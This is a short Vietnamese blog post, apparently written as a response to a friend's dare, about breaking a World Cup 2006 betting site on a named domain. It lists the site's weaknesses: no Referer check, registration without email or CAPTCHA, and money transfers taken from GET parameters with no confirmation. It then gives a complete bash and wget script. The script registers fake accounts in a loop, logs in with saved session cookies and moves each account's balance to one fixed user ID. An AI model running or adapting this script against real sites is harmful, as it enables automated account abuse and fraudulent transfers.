Thằng Mũ Đỏ rỗi hơi ngồi dựng lên cái trung tâm cá độ World Cup 2006 trên svnhanvan.org. Lại còn gạ gẫm mình tìm ra lỗ hổng. Ông đang ngứa tay ngứa chân thì chớ, lại còn thách.
1. Phân tích
- Tất cả các thao tác đều không kiểm tra
$_SERVER['HTTP_REFERER']
. Đây là sai lầm lớn nhất. - Phần đăng kí không đòi hỏi email kích hoạt, không cần mã xác thực bằng hình ảnh. Lợi dụng sơ hở này, có thể dùng một vòng lặp đơn giản để đăng kí tự động.
- Duy trì phiên làm việc bằng session.
- Nội dung chuyển khoản lấy từ
$_GET
. Khi chuyển khoản cũng không cần người dùng xác nhận (confirm). Lỗi này cho phép việc chuyển khoản có thể tiến hành thông qua URL.
2. Khai thác
Ý tưởng rất đơn giản. Dùng wget
với các tuỳ chọn về cookie và post-data. Bao gồm các bước:
- Đăng kí bằng cách truyền biến thông qua
--post-data
. - Khi đăng nhập, sử dụng
--keep-session-cookies
và--save-cookies
. Các biến cũng được truyền qua--post-data
. - Khi chuyển khoản về một tài khoản cố định, sử dụng
--load-cookies
và truyến biến qua URL.
3. Sản phẩm
#/bin/sh link=http://www.svnhanvan.org/worldcup userid=400 for i in `seq 1 10`; do username=bet"$i"; wget --post-data db_username="$username"\\&db_password=PASSWORD\\&db_bbuid=-2 "$link"/register.php; wget --keep-session-cookies --save-cookies=ck.txt "$link"/login.php --post-data db_username="$username"\\&db_password=PASSWORD\\&submit=; wget --load-cookies=ck.txt "$link"/dotransfer.php?id="$userid"\\&amount=4999\\&reason=; rm -f ck.txt register.php* login.php* myaccount.php* dotransfer.php*; done
Thế mới hiểu tại sao mình lại thích dùng bash
và wget
:lol:.